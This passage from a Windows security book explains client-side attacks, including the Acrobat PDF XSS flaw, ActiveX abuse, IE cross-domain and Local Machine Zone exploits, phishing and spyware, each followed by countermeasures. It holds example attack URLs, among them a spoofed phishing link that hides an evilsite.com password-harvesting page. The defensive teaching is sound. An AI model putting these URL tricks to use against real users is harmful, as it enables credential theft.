Rating:\n6\nWe’ll pick on another big software vendor this time to show that Microsoft isn’t the \nonly vendor targeted by malicious document attacks. One of the most well-known attack \nvector for exploiting client-side vulnerabilities is Cross Site Scripting (XSS) (see \n“References and Further Reading”). XSS is basically the exploitation of an input injection \nvulnerability on a server that executes arbitrary commands on the client. Using a security \nvulnerability in Adobe Acrobat Readers, Stefano Di Paola and Giorgio Fedon identified \na flaw that would allow an attacker to execute XSS attacks through any websites that \nhost PDF files. Here’s an example link:\nhttp://host.com/path/to/pdf?whatever=malicious javascript\nThe attack is delivered through one of the classic client attack mechanisms, such as a \nmalicious web page or rich e-mail message. A victim that clicks the link will have the \nJavaScript code execute in the user’s browser. At first glance, this may appear the same \nas any other XSS or phishing attack. However, the significance lies in the fact that the \nvulnerability allows the attacker to choose any web server that hosts PDF files as a target. \nGiven that browser-based security models restrict access of JavaScript to domains, this \nvulnerability allows an attacker to inject Javascript and have it executed on many public \nand private websites, as long as they host PDF files. Proof-of-concept exploits have been \ndeveloped that allow attackers to hijack sessions from popular online banking and web-\nbased e-mail sites (see “References and Further Reading” for links).\nSee Hacking Exposed: Web Applications, 2nd Edition, for more background on Cross Site \nScripting attacks.\nAdobe Acrobat XSS Countermeasures\nAs with many vulnerabilities, the first line of defense is to make sure your applications \nare patched to the latest security patches; in this case, Adobe Acrobat 7.0.8 or greater \nfixes this issue, according to Adobe Security Bulletin APSA07-01. Adobe’s automatic \nupdate feature makes this convenient for most users.\n" }, { "page_number": 350, "text": "322 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nHowever, many operators of websites cannot depend on all their users to upgrade \ntheir Acrobat readers in a timely manner. Removing all PDF files from a website is usually \nnot a viable option. A temporary solution is to force the user to download the PDF or \nstream the PDF as an octet stream.\nA similar perennial security issue for Microsoft clients is the file://servername/resource URL embedded \nin a malicious web page or HTML e-mail message, which will invoke a Server Message Block (SMB) \nsession with a servername, potentially providing LM/NTLM credentials to eavesdroppers and opening \nthe client system to rogue SMB server and man-in-the-middle attacks. Such attacks are covered in \nChapter 5.\nActiveX Abuse\nPopularity:\n4\nSimplicity:\n3\nImpact: \n10\nRisk Rating:\n6\nActiveX has been the center of security debates since its inception in the mid-1990s, \nwhen Fred McLain published an ActiveX control that shut down the user’s system \nremotely. ActiveX is easily embedded in HTML using the tag, and controls \ncan be loaded from remote sites or the local system. These controls can essentially \nperform any task with the privilege of the caller, making them extraordinarily powerful, \nand also a traditional target for attackers. Microsoft’s Authenticode system, based on \ndigital signing of “trusted” controls, is the primary security countermeasure against \nmalicious controls. (See “References and Further Reading” for more information about \nActiveX and Authenticode.)\nTraditionally, attackers have focused on controls that are preinstalled on victims’ \nWindows machines, since they are already authenticated, and require no prompting of \nthe user to instantiate. In mid-1999, Georgi Guninski, Richard M. Smith, and others \nreported that the ActiveX controls marked with the “safe for scripting” flag could be \ninstantiated by attackers without invoking Authenticode. This only increased the attack \nsurface of ActiveX controls that could be used for abusive purposes. From an attacker’s \nperspective, all he needs to do is find a preinstalled ActiveX control that performs some \nprivileged function, such as read memory or write files to disk, and he’s halfway to \nexploit nirvana.\nTable 10-1 lists some of the more sensationally abused ActiveX controls from recent \nmemory. (This is just a sampling: try searching for “internet explorer” on cve.mitre.org/\ncve, and see how many ActiveX-related bugs pop up!)\nTo provide a more recent example of the impact that an ActiveX vulnerability can \nhave, let’s examine the Microsoft Speech API ActiveX control buffer overflow issue \ndiscovered by Will Dormann. The ActiveX controls used for ActiveVoice and ActiveListen \n" }, { "page_number": 351, "text": "Chapter 10: Hacking Microsoft Client Apps \n323\n(XVoice.dll and Xlisten.dll, respectively) contain buffer overflows that can allow a remote, \nunauthenticated attacker to execute arbitrary code on a victim by tricking her into \nopening an HTML document that instantiates the vulnerable controls. The cause of the \nvulnerability is a buffer overflow in the ModeID field. A. Micalizzi wrote a proof-of-\nconcept exploit that performs this trick on WinXP SP2 and Win2K SP4. The exploit is \nplatform-specific due to the arbitrary condition of the CPU execution stack in different \nenvironments and creates a user su with password tzu on the target system. Of course, \nthis shell code could be replaced with something more malicious.\nActiveX Control\nPast Vulnerability\nImpact\nDHTML Editing\nLoadURL method can \nviolate same origin policy\nRead and write data\nMicrosoft DDS \nLibrary Shape \nControl\nHeap memory corruption\nArbitrary code execution as \ncaller\nJView Profi ler\nHeap memory corruption\nArbitrary code execution as \ncaller\nADODB.Stream\nNone—used to write data \nafter exploiting LMZ\nFiles with arbitrary content \nplaced in known locations\nShell.Application\nUse CLSID to disguise \nmalicious fi le being \nloaded\n(same as ADODB.Stream)\nShell.Explorer\nRich folder view drag-n-\ndrop timing attack\n(same as ADODB.Stream)\nHTML Help\nStack-based buffer \noverfl ow from overlong \n“Contents fi le” fi eld in \n.hhp fi le\nArbitrary code execution as \ncaller\nWebBrowser\nPotentially all exploits \nthat affect IE\nArbitrary code execution as \ncaller\nXMLHTTP\nOld: LMZ access\nNew: none, used to \nread/download fi les \nfrom/to LMZ\nRead/write arbitrary \ncontent from/to known \nlocations\nTable 10-1 Selected ActiveX Security Vulnerabilities\n" }, { "page_number": 352, "text": "324 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nActiveX Countermeasures\nIn general, users should restrict or disable ActiveX in the appropriate IE zone (see the \nsection entitled “IE Security Zones” later in this chapter).\nFrom a developer’s perspective, don’t write safe-for-scripting controls that could \nperform privileged actions on a user’s system. We also encourage developers to check \nout the SiteLock tool, which has no warranties or support from Microsoft but can be \nfound at http://msdn.microsoft.com/archive/en-us/samples/internet/components/\nsitelock/default.asp. When added to your build environment, the SiteLock header \nenables an ActiveX developer to restrict access so that the control is deemed safe only in \na predetermined list of domains.\nMost recently, Microsoft has begun “killing” potentially dangerous ActiveX controls \nby setting the so-called kill bit for a given control. Software developers who simply want \nto deactivate their ActiveX controls rather than patch them can take this route. Individual \nusers can also manually set kill bits for individual controls using the kill-bitting techniques \ndescribed in “References and Further Reading.”\nMicrosoft’s Security Bulletin MS07-033 discusses the fix for the Speech API ActiveX \ncontrol buffer overflow, which is to kill bit them both. Sample Registry settings showing \neach control kill bitted are shown here:\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\ActiveX Compatibility\\\n{4E3D9D1F-0C63-11D1-8BFB-0060081841DE}]\n\"Compatibility Flags\"=dword:00000400\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\ActiveX Compatibility\\\n{EEE78591-FE22-11D0-8BEF-0060081841DE}]\n\"Compatibility Flags\"=dword:00000400\nAs always with Microsoft products, upgrading to the most recent version brings \noptimized security enhancements. In IE 7, Microsoft introduced the so-called “ActiveX \nopt-in” feature, that by default disables nearly all preinstalled ActiveX controls, and then \nallows users to easily enable or disable ActiveX controls as needed by prompting them \nvia the Information bar. Some aspects of this have been implemented in prior versions of \nIE as well, but in our experience it’s much smoother and better integrated on IE 7 in Vista \nwith User Account Control (UAC); to see this for yourself, try installing Adobe’s Flash \ncontrol in your browser on Windows XP/IE 6 versus Vista/IE 7—we think you’ll see the \ndifference, too.\nA set of newly developed ActiveX best practices underlie the ActiveX opt-in feature \nas well, so the behavior is much more intuitive than prior versions. This is a welcome \nchange from the bad old days of ActiveX, which effectively forced the user to make a \n“thumbs up/thumbs down” decision on whether to run a control or not (also known as \nAuthenticode). Microsoft seems to be learning to walk a more nuanced line between \nlocking down the browser to a near-unusable state (for example, Enhanced Security \nConfiguration), and on the other extreme simply dumping security decisions on users \nvia cryptic user interfaces.\n" }, { "page_number": 353, "text": "Chapter 10: Hacking Microsoft Client Apps \n325\nIE Vulnerabilities\nPopularity:\n4\nSimplicity:\n3\nImpact: \n10\nRisk Rating:\n6\nNow let’s discuss one of the primary hosts of ActiveX controls within Windows, \nInternet Explorer (IE), which has had a number of security problems in its own right. In \nfact, IE may have accrued the most security vulnerabilities of any product that Microsoft \nhas produced. Even as server-side products such as Internet Information Services (IIS) \nand Windows Server have enjoyed a lower frequency of security bulletins, IE just keeps \non chugging. Let’s illustrate with some examples.\nCross-domain Access Attacks One of the most troubling trends in IE vulnerabilities is so-\ncalled cross-domain access issues. Most modern browsers use a security model based on \ndomains, which are arbitrary security boundaries designed to prevent windows/frames/\ndocuments/scripts from one source (usually specified by a Domain Name System \ndomain) from interacting with resources originating from another location. This is \nsometimes also referred to as the “same-origin policy,” per the original Netscape \nJavaScript reference manuals. For example, if evilsite.com could execute JavaScript in the \nCitibank.com domain, Citi’s customers could be victimized by (say) a simple e-mail \ncontaining malicious script that hijacked their cookies, logged onto Citi’s online banking \nwebsite, and wired cash to the location of the attacker’s choice.\nThe history of IE cross-domain exploits is long and varied. In mid-2007, browser \nsecurity guru Michal Zalewski demonstrated a vulnerability in IE 6 and 7 for which he \nclaimed “the entire security model of the browser collapses like a house of cards and \nrenders you vulnerable to a plethora of nasty attacks.” The essence of the problem is a \nrace condition when navigating from one site (which can be accessed via script and \nmodified by the attacker) to another, such that a window of time exists in which the \nscript can perform actions with the permissions for the old page against content from the \nnewly loaded page (for example, read or set the prior page cookie). This is a fairly nasty \nviolation of the same domain model, and Zalewski posted a proof-of-concept page that \n“steals” your cookie from Google’s Polish language site, as show in Figure 10-1.\nIn 2006, Matan Gillon illustrated how to inject Cascading Style Sheets (CSS) into \nremote web pages containing curly brackets ({}), which are normally used to define \nstyle selectors, properties, and values. By exploiting a flaw in the IE parser for CSS, and \nan operational oversight by Google, Gillon crafted a proof-of-concept exploit that covertly \ngrabbed user data when users used Google’s Desktop Search utility.\nIn early 2005, Michael Evanchik, Paul from GreyHats Security, and http-equiv \nreported that the HTML Help ActiveX Control (hhctrl.ocx) did not properly determine \nthe source of windows opened by the Related Topics command, permitting an attacker \n" }, { "page_number": 354, "text": "326 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nto open two different windows pointed to the same domain, thus connecting the parent \nwindows across the domain security boundary. Incidentally, this hhtctrl.ocx issue was \nreported after Microsoft implemented its Local Machine Zone (LMZ) lockdown in \nWindows XP Service Pack 2 (XP SP2), but more on this later.\nIn mid-2004, Paul from GreyHats Security reported a cache confusion vulnerability \nwith IE, where it would essentially forget the source of a cached reference to a function \nwhen the parent domain was changed, allowing an attacker to control the context in \nwhich the cached function was executed. This would allow execution of script in arbitrary \ndomains of the attacker’s choice, simply by getting the victim to view some malicious \nHTML. The list goes on.\nLocal Machine Zone Attacks A popular sub-theme of cross-domain access issues is \nattacking the IE Local Machine Zone (LMZ, also known as the My Computer zone), \nwhich is designed to differentiate between potentially malicious remote scripts and \n“friendly” executables loaded from the local machine. The LMZ is a “special” zone in \nIE’s implementation of the domain security model, in which code runs with the privilege \nof the user running IE. Thus attackers have traditionally sought to inject malicious code \ninto the LMZ. LMZ injection exploits proliferated to such an extent that Microsoft finally \nreleased a feature called Local Machine Lockdown in XP SP2. Many have thus argued for \nyears that the whole concept of remote access to “friendly” local scripts is unrealistic and \nthe LMZ design should be scrapped altogether.\nCase in point: it didn’t take long for notorious web client hacker http-equiv to bypass \nLMZ Lockdown, illustrating the ongoing challenges of defending against design \nliabilities. Thor Larholm offered a solid description of the underpinnings of this exploit. \nEssentially, the exploit uses the HTML image element (IMG) with the DYNSRC attribute \npointed to a remote file. When this image is dragged-and-dropped onto a window that \nreferences local content, the file referenced in the DYNSRC attribute can be planted on the \nvictim’s machine in a known location. Http-equiv posted a demonstration exploit called \nceegar.html that uses the AnchorClick behavior to open C:\\WINDOWS\\PCHealth\\ in \na named window, which is then used as a drag-and-drop point for the file referenced by \nthe DYNSRC attribute.\nFigure 10-1 Michal Zalewski’s IE 6/7 “entrapment 1” exploit steals a cookie.\n" }, { "page_number": 355, "text": "Chapter 10: Hacking Microsoft Client Apps \n327\nRafel Ivgi posted another example of an LMZ access mechanism in mid-2004. Dutch \nsecurity researcher Jelmer Kuperus (known by his online handle, jelmer) coded a proof-\nof-concept exploit that uses the IE showModalDialog method within a malicious web \npage (or HTML e-mail) that creates a modal dialog window in the upper-left corner of \nthe user’s screen (a modal dialog box retains the input focus while open; the user cannot \nswitch windows until the dialog box is closed). The modal dialog references the location \nof another object, an IFRAME. Through a sort of timing trick, Jelmer changes the location \nof the IFRAME while the modal dialog is open, and when it closes, because of the \nvulnerability, the location referenced by the IFRAME is under Jelmer’s control, and it is \nset to the LMZ. The following illustration shows Jelmer’s proof-of-concept modal dialog \nbox—you can see from the status bar for this window that it is executing in the Local \nComputer security zone.\nFrom here, Jelmer loads some JavaScript in more IFRAMEs located in the LMZ. These \nscripts do the heavy lifting, using the ADODB.stream ActiveX control installed with IE \nto copy an executable from his site down to the local machine and run it (he overwrites \nthe Windows Media Player executable at C:\\Program Files\\Windows Media Player\\\nwmplayer.exe to disguise its true purpose). Jelmer’s executable is a harmless graphics \nclip, but the point is made—code can now be executed with the full privileges of the \nlogged-on user.\nIE Vulnerability Countermeasures\nThese exploits represent only a small fraction of the published IE vulnerabilities of the \nlast several years, unfortunately. What’s a security-conscious Windows user to do?\nAt the risk of sounding like a broken record, we’ll enumerate the biggies again:\n• Keep up with patches (running the latest Windows and IE versions is optimal, \nVista and IE 7 as of this writing).\n• Run with least privilege (Vista UAC and IE 7 Protected Mode are state of the art \nin this regard).\nIn addition to these precautions, we also recommend conservative configuration of \nIE’s Security Zones feature, which we will discuss in greater detail upcoming in “General \nCountermeasures.”\nTRICKERY\nIf an attacker is unable to identify a technical vulnerability to exploit, he may fall back on \ntrickery. The term social engineering has also been used for years in security circles to \ndescribe this technique of using persuasion and/or deception to gain access to digital \ninformation.\n" }, { "page_number": 356, "text": "328 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSuch attacks have garnered an edgy technical thrust in recent years, and new ter-\nminology has sprung up to describe this fusion of basic human trickery and sophisticated \ntechnical sleight-of-hand. The expression that’s gained the most popularity of late is \nphishing, which is essentially classic social engineering attacks implemented using \nInternet technology. This is not to minimize its impact, however, which by some estimates \ncosts consumers more than $1 billion annually, a figure that is growing steadily.\nMore aggressive fraudsters trick users into installing deceptive software called \nspyware, a broad class of programs that includes covert or deceptive software that hijack \ncomputing resources to display ads or monitor web surfing habits (usually for later sale \nto marketing companies).\nSince this book focuses on Windows, we’re not going to explore phishing and spyware \nin general, since they affect not just Microsoft products, but any client application, \nincluding Mozilla Firefox, Apple Safari, and the whole menagerie of programs that \ninhabit the typical end-user system. Rather, we will focus briefly here on the following \ntwo topics:\n• How IE vulnerabilities can be leveraged in phishing attacks, and what to do \nabout it\n• Common insertion points for spyware and how to spot it\nWe recommend Hacking Exposed: Web Applications, 2nd Edition if you’re interested in deeper \ntreatment of phishing, spyware, and related online scams.\nPhishing\nPopularity:\n10\nSimplicity:\n8\nImpact: \n8\nRisk Rating:\n9\nPhishing is the use of Internet technologies to defraud victims. The most typical \nphishing scam is a mass–e-mailed message that attempts to convince victims to reset \ntheir online banking account password at a site controlled by the fraudster, who then \nharvests credentials from anyone gullible enough to react to the message.\nIn our experience, phishing e-mails typically have the following characteristics:\n• Targeted at fi nancially consequential online users—that’s where the money is!\n• Invalid or laundered source addresses—these scams don’t require a valid reply-\nto address, so most don’t even bother making one up (some even use legitimate \naddresses).\n• Spoof authenticity using familiar brand imagery—this is the hook that fools \nmost users.\n• Compels action with urgency—most phishing sites get taken down within days, \nso they urge potential victims to act fast.\n" }, { "page_number": 357, "text": "Chapter 10: Hacking Microsoft Client Apps \n329\nAs documented by groups such as the Anti-Phishing Working Group (APWG), \nphishing is a major criminal industry. And this is just using basic trickery—when phishers \ncan combine their con artistry with a Windows vulnerability, things get much worse. \nLet’s take a look at a few examples.\nMichal Zalewski strikes again with his mid-2007 demonstration of another \nvulnerability related to the previously discussed IE entrapment bug that allows a \nmalicious page to spoof address bar, page information dialogs, and SSL certificates. This \nis achieved through manipulation of location Document Object Model (DOM) objects to \ninterrupt loading of a new page. The result is quite disturbing: browsing what appears \nto be a legitimate site like CNN.com, with contents totally controlled by some other site. \nMichal’s proof-of-concept demonstrates this, as shown in Figure 10-2.\nAnother example is the “IE improper URL canonicalization” vulnerability that was \nwidely exploited in early 2004 by phishing scammers. (See “References and Further \nReading.”) This vulnerability was exploited by placing a special character in URLs \ncommonly used to authenticate to websites of this format:\nhttp://username:password@site.com/restofurl\nThis behavior is per the HTTP RFC specification and is perfectly normal. The \nvulnerability results when inserting hexadecimal characters in place of the username:\npassword syntax—for example:\nhttp://www.microsoft.com%01@www.malware.com\nFigure 10-2 Another entrapment bug: is this really CNN.com?\n" }, { "page_number": 358, "text": "330 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nNote the bolded hexadecimal %01, which causes IE to display microsoft.com in the \naddress bar, but it would be malware.com’s content that was loaded. Phishers couldn’t \nask for a better vulnerability, because now all they had to do was dress up their fraudulent \nsites to look like some online bank, and their victim’s couldn’t even rely on the address \nbar to tell them any different! Figure 10-3 shows a phishing e-mail designed to exploit \nthis vulnerability. Note some of the familiar traits (authenticity is spoofed using familiar \nbrand imagery, action is compelled with urgency), all topped off by the tantalizing \nContinue button right in the middle of the message, urging the victim to click and simply \ntake care of this issue. This button links to\nhttp://myaccount.earthlink.net%01@evilsite.com/password/PasswordReset.htm\nIf someone clicks this button, their browser address bar will read http://myaccount\n.earthlink.net (the legitimate EarthLink account management site), but the victim will \nactually be browsing a fraudulent password harvesting site at evilsite.com/password/\nPasswordReset.htm.\nFigure 10-3 A phishing e-mail that exploits an IE vulnerability; the button links to http://myaccount\n.earthlink.net%01@evilsite.com/password/PasswordReset.htm\n" }, { "page_number": 359, "text": "Chapter 10: Hacking Microsoft Client Apps \n331\nThis particular vulnerability was not patched for several months, illustrating the \nneed to be more proactive in defending against phishing attacks.\nEven scarier than special characters like hexadecimal notation are URLs with one or a few characters \nexpressed in an international language, creating visually similar spellings that are in fact quite different \nsites. IE 7’s International domain name anti-spoofing feature helps mitigate this.\nPhishing Countermeasures on Windows\nThanks (unfortunately) to the burgeoning popularity of this type of scam, the Internet is \nawash in advice on how to avoid and respond to phishing scams. The resources we’ve \nfound to be the most helpful are listed in “References and Further Reading.”\nNew online services have sprung up recently to assist end users identify phishing \nscams. In fact, with IE 7, a new Phishing Filter feature gives users indication when they \nare browsing a known phishing site. The list of known phishing sites is kept up to date \non a service run by Microsoft in the same manner as antivirus programs update their \nvirus definitions. The Phishing Filter can be enabled in the Control Panel under Internet \nOptions, on the Advanced tab, under Phishing Filter. There is also a context menu under \nthe IE7 Tools toolbar that permits access to several Phishing Filter features, including \nCheck This Website, which will tell you whether the current website is on Microsoft’s list \nof known phishing sites. This feature is shown in Figure 10-4.\nWe think the IE 7 Phishing Filter is a long overdue mechanism for protecting users \nfrom phishing scams, and we encourage readers to enable it. Microsoft appears to be \ndrawing on unique data sources, such as its own Hotmail Windows Error Reporting \n(a.k.a. “Dr Watson”) services, for known phishing site data, so their Phishing Filter may \noffer advantages over competitive services.\nIn addition, reading e-mail in plaintext format can help reduce the effectiveness of \none of the key tools of phishers, spoofing authenticity using familiar brand imagery. \nAdditionally, plaintext e-mail allows you to see fraudulent inline hyperlinks blatantly, \nsince they appear in angle brackets (< and >) when viewed in plaintext. For example, \nFigure 10-4 The result of checking a website using IE7’s Phishing Filter\n" }, { "page_number": 360, "text": "332 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nhere’s a hyperlink that would normally appear as underlined blue inline text when \nviewed as HTML:\nClick here to go to our free gift site!\nWhen viewed as plaintext, this link now appears with angle brackets:\nClick here to go to our free gift site!\nLast but not least, we recommend a healthy skepticism when dealing with all things \non the Internet, especially unsolicited e-mail communications. Our advice is never click \nhyperlinks in unsolicited e-mail. If you’re worried about the message, open up a new \nbrowser and type in the URI manually (for example, www.paypal.com), or click a known \ngood favorite. It’s not that difficult to pick up this habit, and it dramatically decreases the \nlikelihood of being phished.\nSpyware\nPopularity:\n8\nSimplicity:\n6\nImpact: \n8\nRisk Rating:\n7\nMost users are familiar with software that behaves (mostly) transparently and \naccording to expectations. Anyone who has read this chapter is also familiar with \nsoftware that undeniably performs activities that no sane user would authorize. \nSomewhere between these two extremes sits a broad class of programs that may perform \nsome activities with the consent of the user, and others without.\nAdware is broadly defined as software that inserts advertisements into your everyday \ncomputing activities. The best example of adware is those annoying pop-up ads that can \noverwhelm your browser when you visit a site with abusive advertising practices. Some \nadware is legitimate, but some crosses the line in unauthorized abuse. 180Solutions is a \ncompany notorious for using deceptive software techniques to further their online \nadvertising business.\nSpyware is designed to monitor user behavior surreptitiously, usually for purposes \nof logging and reporting that behavior to online tracking companies that in turn sell this \ninformation to advertisers or online service providers. Corporations, private investigators, \nlaw enforcement, intelligence agencies, suspicious spouses, and so on have also been \nknown to use spyware for their own purposes, legitimate and not so.\nNumerous resources are available on the Internet that catalog and describe annoying \nand malicious software like adware and spyware (see “References and Further Reading”). \nThe rest of our discussion will cover common spyware and adware insertion techniques \nand how to rid yourself of these pests.\nCommon Insertion Techniques Adware and spyware can get on your machine in two \nways: by exploiting a vulnerability that we already discussed in the first part of this \nchapter, or by convincing the user to install it willingly. A range of methods are used for \n" }, { "page_number": 361, "text": "Chapter 10: Hacking Microsoft Client Apps \n333\nachieving the latter. Relatively forthcoming programs will present a straightforward \ninstallation routine that includes an affirmative opt-in to installation, as well as an End \nUser License Agreement (EULA) that spells out expectations (although most users ignore \nthese obtuse legalisms). At the other end of the spectrum is outright deceptive software \nthat installs completely covertly, as part of the installation routine for other software, for \nexample. Microsoft has actually produced some interesting criteria for what constitutes \ndeceptive software and is implementing these criteria in its anti-malware products and \nservices (see “References and Further Reading”).\nCommon Insertion Locations Spyware and adware typically insert themselves via one or \nmore of the following techniques:\n• By installing an executable fi le to disk and referencing it via an auto-start \nextensibility point (ASEP)\n• By installing add-ons to web browser software\nThe importance of ASEPs to proliferation of annoying, deceptive, and even downright \nmalicious software cannot be underestimated—in our opinion, ASEPs account for 99 percent \nof the hiding places used by these miscreants. Some good lists of ASEPs can be found in \n“References and Further Reading.” You can also examine your own system’s ASEPs using \nthe msconfig tool on Windows XP (choose Start | Run, and enter msconfig). Figure 10-5 \nshows the msconfig tool enumerating startup items on a typical Windows XP system.\nFigure 10-5 The msconfi g utility enumerates auto-start extensibility points on Windows XP. Note \nthe peer-to-peer networking software program highlighted here.\n" }, { "page_number": 362, "text": "334 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nASEPs are numerous, and they are generally more complex than the average user \nwishes to confront (especially considering that uninformed manipulation of ASEPs can \nresult in system instability), so we don’t recommend messing with them yourself unless \nyou really know what you are doing. Use an automated tool like those we will recommend \nshortly.\nRight up there with ASEPs in popularity are web browser add-ons, a mostly invisible \nmechanism for inserting helpful functionality into your web browsing experience. One \nof the most insidious browser add-on mechanisms is the Internet Explorer Browser \nHelper Object (BHO) feature (see “References and Further Reading”). Up until Windows \nXP SP2, BHOs were practically invisible to users, and they could perform just about any \naction feasible with IE. Talk about taking a good extensibility idea too far—BHOs remind \nus of Frankenstein’s monster. Fortunately, beginning in XP SP2, the Add-On Manager \nfeature (under Tools | Manage Add-ons) now will at least enumerate and control BHOs \nrunning within IE. You’ll still have to decide whether to disable them manually, which \ncan be a confusing task since some deceptive software provides little information with \nwhich to make this decision within the IE user interface. Alternatively, you can use one \nof the third-party tools we recommend next.\nAdware and Spyware Countermeasures\nOne of the best mechanisms for fighting annoying and deceptive software is at the \neconomic level. Don’t agree to install adware or spyware on your system in exchange for \nsome cool new software gadget (like peer-to-peer file sharing utilities).\nYou can also fight back directly using anti-adware/spyware tools. Germany hosts \nthe top two contenders: Spybot Search & Destroy and Ad-Aware from Lavasoft (see \n“References and Further Reading”).\nIn addition to these free anti-spyware programs, a robust commercial market is \nevolving. Webroot’s SpySweeper consistently gets top honors in the reviews we’ve seen, \nbased on comprehensiveness, ease of use, and feature set. In addition, most of the leading \nantivirus/security software companies such as Symantec and McAfee have amplified \ntheir offerings with anti-spyware capabilities. Comparison shopping among the various \noptions is as easy as Googling “anti-spyware reviews.”\nNever to be outdone for long in any software industry sector, Microsoft has joined \nthe fray with an anti-spyware product of its own, called Windows Defender. Defender is \nalso free (and ships by default with Vista), and Microsoft appears to have put solid \nresources behind the malware research that undergirds the product. They also intend to \nrelease a consumer-focused online service version of the product called Windows \nOneCare, which may offer the ultimate in convenience to end users who would be happy \nsimply to pay a monthly fee to make the whole problem of annoying and deceptive \nsoftware just go away. See “References and Further Reading” for more information about \nMicrosoft’s various offerings in this space.\nGENERAL COUNTERMEASURES\nAfter years of researching and writing about the various past and future challenges of \nonline client security, we’ve assembled the following “10 Steps to a Safer Internet \n" }, { "page_number": 363, "text": "Chapter 10: Hacking Microsoft Client Apps \n335\nExperience” that weaves together advice we’ve covered in detail previously in this \nchapter, plus some general best practices:\n \n1. Deploy a personal fi rewall, ideally one that can also manage outbound connection \nattempts. The updated Windows Firewall in XP SP2 and later is a good option.\n \n2. Keep up to date on all relevant software security patches. Windows users \nshould confi gure Microsoft Automatic Updates to ease the burden of this task.\n \n3. Run antivirus software that automatically scans your system (particularly \nincoming mail attachments) and keeps itself updated. We also recommend \nrunning anti-adware/spyware and anti-phishing utilities discussed in this \nchapter.\n \n4. Confi gure Windows Internet Options on the Control Panel (also accessible \nthrough IE and Outlook/OE) wisely.\n \n5. Run with least privilege. Never log on as Administrator (or equivalent highly-\nprivileged account) on a system that you will use to browse the Internet or read \ne-mail. Use reduced-privilege features like Windows UAC and Protected Mode \nIE (PMIE) where possible.\n \n6. Administrators of large networks of Windows systems should deploy the above \ntechnologies at key network choke points (that is, network-based fi rewalls in \naddition to host-based, antivirus on mail servers, and so on) to protect large \nnumbers of users more effi ciently.\n \n7. Read e-mail in plaintext.\n \n8. Confi gure offi ce productivity programs as securely as possible; for example, set \nthe Microsoft Offi ce programs to Very High macro security under the Tools | \nMacro | Security. Consider using MOICE (Microsoft Offi ce Isolated Conversion \nEnvironment) when opening Word, Excel, or PowerPoint binary format fi les.\n \n9. Don’t be gullible. Approach Internet-borne solicitations and transactions with \nhigh skepticism. Don’t click links in e-mails from untrusted sources!\n 10. Keep your computing devices physically secure.\nLinks to more information about some of these steps can be found in “References and \nFurther Reading” at the end of this chapter. Next, we’ll expand a bit on some of the items \nin this list that we have not discussed in this chapter.\nIE Security Zones\nCall us old-fashioned, but we think one of the most overlooked aspects of Windows \nsecurity is Security Zones. OK, maybe you’ve never heard of Security Zones, or maybe \nyou’ve never been exposed to how elegantly they can manage the security of your \nInternet experience, but it’s high time you found out.\nEssentially, the zone security model allows users to assign varying levels of trust to \nsoftware behavior within any of four zones: Local Intranet, Trusted Sites, Internet, and \nRestricted Sites. As we’ve seen, a fifth zone called the Local Machine Zone (LMZ) exists, \nbut it is not available in the user interface because it is configurable only using special \ntools or direct tweaks to the Windows Registry.\n" }, { "page_number": 364, "text": "336 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSites can be manually added to every zone except the Internet zone. The Internet zone \ncontains all sites not mapped to any other zone, and any site containing a period (.) in its \nURL. (For example, http://local is part of the Local Intranet zone by default, whereas \nhttp://www.microsoft.com is in the Internet zone because it has periods in its name.) \nWhen you visit a site within a zone, the specific security settings for that zone apply to \nyour activities on that site. (For example, Run ActiveX Controls may be allowed.) \nTherefore, the most important zone to configure is the Internet zone, because it contains \nall the sites a user is likely to visit by default. Of course, if you manually add sites to any \nother zone, this rule doesn’t apply. Be sure to select trusted and untrusted sites carefully \nwhen populating the other zones—if you choose to do so at all. (Typically, other zones \nwill be populated by network administrators for corporate LAN users.)\nConfi guring the Internet Zone\nTo configure security for the Internet zone, choose Tools | Internet Options | Security \nWithin IE (or open Internet Options on the Control Panel), highlight the Internet zone, \nclick Default Level, and move the slider up to an appropriate point. We recommend \nsetting it to High and then using the Custom Level button to go back manually and disable \nall other active content, plus a few other usability tweaks, as shown in Table 10-2.\nSome of the Internet Zone settings related to ActiveX are shown in Figure 10-6.\nCategory\nSetting Name\nRecommended \nSetting\nComment\nActiveX controls and \nplug-ins\nScript ActiveX \ncontrols marked \n“safe for scripting”\nDisable\nClient-resident “safe” \ncontrols can be exploited.\nCookies\nAllow per-session \ncookies (not stored)\nEnable\nLess secure but more user \nfriendly.\nDownloads\nFile download\nEnable\nIE will automatically \nprompt for download based \non the fi le extension.\nScripting\nActive scripting\nEnable\nLess secure but more user \nfriendly.\nMiscellaneous\nAllow scripting of \nIE Web browser \ncontrol\nDisable\nPowerful ActiveX control \nthat should be restricted.\nMiscellaneous\nAllow META \nREFRESH\nDisable\nCan be used to load \nunexpected pages.\nMiscellaneous\nLaunching \nprograms and fi les \nin an IFRAME\nPrompt\nFrequently exploited \nto execute code in \nunauthorized domains.\nTable 10-2 Recommended Internet Zone Security Settings (Custom Level Settings Made After \nSetting Default to High)\n" }, { "page_number": 365, "text": "Chapter 10: Hacking Microsoft Client Apps \n337\nAchieving Compatibility with Trusted Sites\nThe bad news is that disabling, say, ActiveX may result in problems viewing sites that \ndepend on controls for special effects. One solution to this problem is to enable ActiveX \nmanually when visiting a trusted site and then manually shut it off again. The smarter \nthing to do is to use the Trusted Sites security zone. Assign a lower level of security (we \nrecommend Medium) to this zone and add trusted sites to it. This way, when visiting a \nsite that implements ActiveX (such as Microsoft’s Windows Update patching site, \nwindowsupdate.microsoft.com), the weaker security settings apply, and the site’s \nActiveX features still work. Similarly, adding auto.search.msn.com to Trusted Sites will \nsupport IE’s auto-search feature that leads the browser from a typed-in address such as \nmp3 to http://www.mp3.com. Aren’t security zones convenient?\nBe very careful to assign only highly trusted sites to the Trusted Sites zone, because fewer restrictions \nwill be placed on active content downloaded and run by them. Be aware that even respectable-looking \nsites may have been compromised by malicious hackers or might have one rogue developer who’s out \nto harvest user data (or worse).\nFigure 10-6 Blocking “safe for scripting” ActiveX controls using Internet Options on the Control \nPanel will protect against malicious controls downloaded via hostile web pages.\n" }, { "page_number": 366, "text": "338 \nHacking Exposed 